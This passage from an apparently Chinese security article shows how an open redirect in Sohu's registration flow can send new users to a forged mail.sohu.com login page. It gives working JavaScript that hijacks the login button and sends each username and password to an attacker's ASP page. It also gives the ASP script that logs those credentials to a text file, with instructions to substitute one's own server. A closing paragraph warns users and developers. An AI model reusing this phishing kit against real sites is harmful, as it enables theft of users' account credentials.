|
三、修改注册流程进行欺骗
因为sohu在登录的地方使用了自己的控件,看不到登录框的代码,操作登录的元素就比较麻烦了,还好微软提供了Ietoolbar这个IE的插件,可以看到sohu登录控件的名称,等登录控件加载完成,就可以对他进行操作了。
从抓包的数据中可以看出这个控件使用了AJAX,不知道他在页面触发AJAX的函数是什么,可能是onclick()也可能是别的,在写代码的时候必须保 证让sohu的登录代码在我们提交密码到自己的asp页面(用来保存密码的页面)之后执行。无论他的函数是什么,我们都可以拦截,使用JS函数劫持技术, 其实就是面向对象语言中的“方法重写”技术。
a.html代码(伪造的登录页面):
……………………
</body>
</html>(一直到页面结束的标签)
…………………上面是mail.sohu.com页面的代码,……………..
. 我们要加的代码从下面开始, 把“ajaxurltmp”的值改为asp文件的地址:
以下是引用片段:
<script>
var ajaxurltmp = "http://safe.it168.com/a.asp";
//-------------以下为AJAX执行部分
var xmlHttp;
function createXMLHttpsss(){
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else if(window.ActiveXObject){
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
function startRequest(doUrl){
createXMLHttpsss();
xmlHttp.onreadystatechange = handleStateChange;
xmlHttp.open("GET", doUrl, true);
xmlHttp.send(null);
}
function handleStateChange(){
if (xmlHttp.readyState == 4 ){
if (xmlHttp.status == 200 ){
//停一秒,为了让另一个AJAX(登录的那个)有时间执行。最后跳转。
setTimeout("hrefgo()",1000);
}
}
}
function hrefgo()
{
location.href = ’http://mail.sohu.com/’;
}
//----------------------------以上为AJAX执行部分
//在点登录的时候执行
var formrrr = document.getElementById(’ppcontid’);
var lgin = formrrr.childNodes[0].childNodes[3].childNodes[1];
lgin.onclick=function(){
alert(’aaa’);
}
var lgonclick = lgin.onclick;
lgin.onclick = function(){
var time = Math.random();
var strPer = ajaxurltmp + ‘?
username=’+document.getElementById(’ppcontid’).childNodes[0].childNodes[1].childNodes[1].value;
strPer +=
‘&password=’+document.getElementById(’ppcontid’).childNodes[0].childNodes[2].childNodes[1].value+’&time=’+time;
startRequest(strPer);
lgonclick();
}
document.getElementById(’pperrmsg’).innerHTML=’注册成功!请登录!’;
//在点登录的时候执行
</script>
相关重要代码解释(JS函数劫持部分):
| 以下是引用片段: var lgin = formrrr.childNodes[0].childNodes[3].childNodes[1]; //这里获取”登录“这个按钮。 var lgonclick = lgin.onclick; //先把登录的方法赋给一个变量(这个变量其实是个方法)。 lgin.onclick = function () { 。。。。。我的代码,用来调用AJAX给ASP文件发密码(在这里拦截) lgonclick(); //原来的代码 } 注意在HTML代码里把”safe.it168.com/a.asp“替换为你自己的ASP文件地址。 asp文件的代码: <% kxlzxfile=Server.MapPath("kxlzx.txt") set fs=server.CreateObject("scripting.filesystemobject") set file=fs.OpenTextFile(kxlzxfile,8,True,0) file.WriteLine("用户名:"&Request.QueryString("username")& "") file.WriteLine("密码:"&Request.QueryString("password")& "") file.close set fs = nothing %> |
很简单的代码,接收到密码后生成一个kxlzx.txt文件,保存密码。把伪造的登录页面a.html(地址为 http://safe.it168.com/a.htm)和保存密码的页面a.asp(地址为http://safe.it168.com /a.asp)上传至一个asp空间里。
现在执行以下我们的流程,首先,打开注册的地址“http://passport.sohu.com/web /signup.jsp?appid=1000&ru=http://safe.it168.com/a.html”,注册用户 “kxlzxtest”,密码为“testtest”,然后提交。
注意看IE地址栏,已经来到了伪造的登录页面,输入密码登录。正常登录,进了邮箱里。
现在查看kxlzx.txt,果然有被盗取的密码!整个伪造的过程就是这样,让用户在不知不觉中上当。
做 为普通上网用户,我们不要轻信任何人给出来的网页链接,即使是朋友(因为他也可能是受害者)。而做为程序员更应该注意,当你在设计程序时,尽量不要让用户 参与控制流程,特别是敏感的地方。可以想象sohu的这段流程设计本意是为了和其它程序配合,让用户注册后直接跳转。但是由于没有检查来源,也没有检查 post给注册程序的链接是否是sohu自己的页面,最终导致了URL欺骗的形成。而这种漏洞在各大网站泛滥,例如九城的登录地址 “https://passport.the9.com/login.php?redurl=http://safe.it168.com”等,如果被人 利用,最终会造成很严重的后果。
| 没有路由密码权限时的鸽子上线方 | 08-23 |
| 完全解析网页后门和挂马 | 04-02 |
| 真实的网络攻击取证纪实 | 03-27 |
| 利用404错误页面挂马 | 03-21 |
| 解密风暴 | 03-21 |
| 社会工程学在黑客中的应用 | 01-02 |
| 轻轻松松解密各种网页木马 | 12-21 |
| SA权限无xp_cmdshell时取权限又一 | 12-14 |
| sqlserver2005中恢复xp_cmdshell | 11-10 |
| 实现无net.exe和net1.exe添加系统 | 10-26 |
| 用U盘轻松去除XP管理员密码 | 10-26 |
| 教你多种保护措施限用移动硬盘 | 10-09 |